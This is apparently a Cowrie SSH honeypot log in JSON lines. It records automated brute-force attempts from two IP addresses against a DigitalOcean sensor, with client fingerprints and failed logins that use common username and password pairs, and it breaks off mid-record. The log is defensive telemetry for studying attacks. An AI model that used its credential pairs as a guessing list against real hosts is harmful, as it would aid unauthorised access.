{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:55:45.924363Z","src_ip":"192.109.200.237","session":"9d121877b48f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa@123456","message":"login attempt [root/Aa@123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:55:46.292547Z","src_ip":"192.109.200.237","session":"9d121877b48f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:55:47.376642Z","src_ip":"192.109.200.237","session":"9d121877b48f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":58816,"dst_ip":"159.203.135.109","dst_port":22,"session":"964b83d2910d","protocol":"ssh","message":"New connection: 192.109.200.237:58816 (159.203.135.109:22) [session: 964b83d2910d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:55:49.089349Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:55:49.094527Z","src_ip":"192.109.200.237","session":"964b83d2910d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:55:49.177095Z","src_ip":"192.109.200.237","session":"964b83d2910d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mohammad","password":"mohammad","message":"login attempt [mohammad/mohammad] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:55:49.427098Z","src_ip":"192.109.200.237","session":"964b83d2910d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:55:50.512679Z","src_ip":"192.109.200.237","session":"964b83d2910d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":40138,"dst_ip":"159.203.135.109","dst_port":22,"session":"e0cafe8ac401","protocol":"ssh","message":"New connection: 192.109.200.237:40138 (159.203.135.109:22) [session: e0cafe8ac401]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:55:52.253683Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:55:52.263709Z","src_ip":"192.109.200.237","session":"e0cafe8ac401","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:55:52.346358Z","src_ip":"192.109.200.237","session":"e0cafe8ac401","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qazwsxedc","message":"login attempt [root/qazwsxedc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:55:52.592090Z","src_ip":"192.109.200.237","session":"e0cafe8ac401","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:55:53.678267Z","src_ip":"192.109.200.237","session":"e0cafe8ac401","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":46736,"dst_ip":"159.203.135.109","dst_port":22,"session":"483a41fcdacc","protocol":"ssh","message":"New connection: 80.94.92.184:46736 (159.203.135.109:22) [session: 483a41fcdacc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:55:55.144128Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":40146,"dst_ip":"159.203.135.109","dst_port":22,"session":"adefb96abbf2","protocol":"ssh","message":"New connection: 192.109.200.237:40146 (159.203.135.109:22) [session: adefb96abbf2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:55:55.377867Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:55:55.383731Z","src_ip":"192.109.200.237","session":"adefb96abbf2","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:55:55.387824Z","src_ip":"80.94.92.184","session":"483a41fcdacc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:55:55.391911Z","src_ip":"80.94.92.184","session":"483a41fcdacc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:55:55.545082Z","src_ip":"192.109.200.237","session":"adefb96abbf2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"aA123456","message":"login attempt [root/aA123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:55:55.835964Z","src_ip":"192.109.200.237","session":"adefb96abbf2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"solv321","message":"login attempt [solv/solv321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:55:56.853832Z","src_ip":"80.94.92.184","session":"483a41fcdacc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:55:56.921061Z","src_ip":"192.109.200.237","session":"adefb96abbf2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.1","message":"Connection lost after 3.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:55:58.291997Z","src_ip":"80.94.92.184","session":"483a41fcdacc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":40152,"dst_ip":"159.203.135.109","dst_port":22,"session":"6525eed1dc17","protocol":"ssh","message":"New connection: 192.109.200.237:40152 (159.203.135.109:22) [session: 6525eed1dc17]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:55:58.589160Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:55:58.594167Z","src_ip":"192.109.200.237","session":"6525eed1dc17","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:55:58.677084Z","src_ip":"192.109.200.237","session":"6525eed1dc17","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"12345678","message":"login attempt [ubuntu/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:55:58.930144Z","src_ip":"192.109.200.237","session":"6525eed1dc17","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:56:00.016511Z","src_ip":"192.109.200.237","session":"6525eed1dc17","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":56938,"dst_ip":"159.203.135.109","dst_port":22,"session":"0988b2e4eef2","protocol":"ssh","message":"New connection: 192.109.200.237:56938 (159.203.135.109:22) [session: 0988b2e4eef2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:56:01.629977Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:56:01.635493Z","src_ip":"192.109.200.237","session":"0988b2e4eef2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:56:01.724910Z","src_ip":"192.109.200.237","session":"0988b2e4eef2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"123456789","message":"login attempt [ubuntu/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:56:01.982504Z","src_ip":"192.109.200.237","session":"0988b2e4eef2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:56:03.070678Z","src_ip":"192.109.200.237","session":"0988b2e4eef2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":56962,"dst_ip":"159.203.135.109","dst_port":22,"session":"aa565b2626e4","protocol":"ssh","message":"New connection: 192.109.200.237:56962 (159.203.135.109:22) [session: aa565b2626e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:56:04.759004Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:56:04.766574Z","src_ip":"192.109.200.237","session":"aa565b2626e4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:56:04.850874Z","src_ip":"192.109.200.237","session":"aa565b2626e4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"elastic","password":"123456","message":"login attempt [elastic/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:56:05.195838Z","src_ip":"192.109.200.237","session":"aa565b2626e4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:56:06.283536Z","src_ip":"192.109.200.237","session":"aa565b2626e4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":56990,"dst_ip":"159.203.135.109","dst_port":22,"session":"a8e6e9bced61","protocol":"ssh","message":"New connection: 192.109.200.237:56990 (159.203.135.109:22) [session: a8e6e9bced61]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:56:07.978232Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:56:07.982810Z","src_ip":"192.109.200.237","session":"a8e6e9bced61","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 